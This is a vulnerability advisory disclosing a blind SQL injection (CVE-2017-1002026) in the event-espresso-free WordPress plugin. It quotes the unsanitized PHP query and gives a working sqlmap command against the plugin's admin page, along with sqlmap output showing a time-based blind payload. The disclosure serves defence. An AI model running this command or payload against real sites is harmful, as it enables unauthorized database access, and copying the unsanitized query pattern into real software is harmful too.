Advisory #: 197
Title: Blind SQL injection in wordpress plugin event-espresso-free v3.1.37.11.L
Author: Larry W. Cashdollar, @_larry0
Date: 2017-07-04
CVE-ID:[CVE-2017-1002026]
CWE:
Download Site: https://wordpress.org/plugins/event-espresso-free/
Vendor: https://eventespresso.com/
Vendor Notified: 2017-07-07
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=197
Description: Event Espresso Lite – Event Management and Registration System
Vulnerability:
The function edit_event_category does not sanitize user-supplied input via the $id parameter before passing it into an SQL statement. This allows a blind SQL attack by an authenticated user who can edit the event categories. 2-function edit_event_category(){ 3- global $wpdb; 4- 5: $id=$_REQUEST['id']; 6- $results = $wpdb->get_results("SELECT * FROM ". EVENTS_CATEGORY_TABLE ." WHERE id =".$id); 7- foreach ($results as $result){ 8- $category_id = $result->id; 9- $category_name = stripslashes($result->category_name); 10- $category_identifier = stripslashes($result->category_identifier);
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Exploit Code:
  1. $ sqlmap -u 'http://example.com/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=*' --load-cookies=./cookie.txt --level=2 --risk=2 --dbms=mysql
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  4. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  5. sqlmap identified the following injection point(s) with a total of 364 HTTP(s) requests:
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  7. Parameter: #1* (URI)
  8.     Type: AND/OR time-based blind
  9.     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  10.     Payload: http://example.com:80/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=(CASE WHEN (6856=6856) THEN SLEEP(5) ELSE 6856 END)
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  12. [14:53:44] [INFO] the back-end DBMS is MySQL
  13. web server operating system: Linux Ubuntu 16.04 (xenial)
  14. web application technology: Apache 2.4.18
  15. back-end DBMS: MySQL >= 5.0.12
  16. [14:53:44] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
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  18. [*] shutting down at 14:53:44
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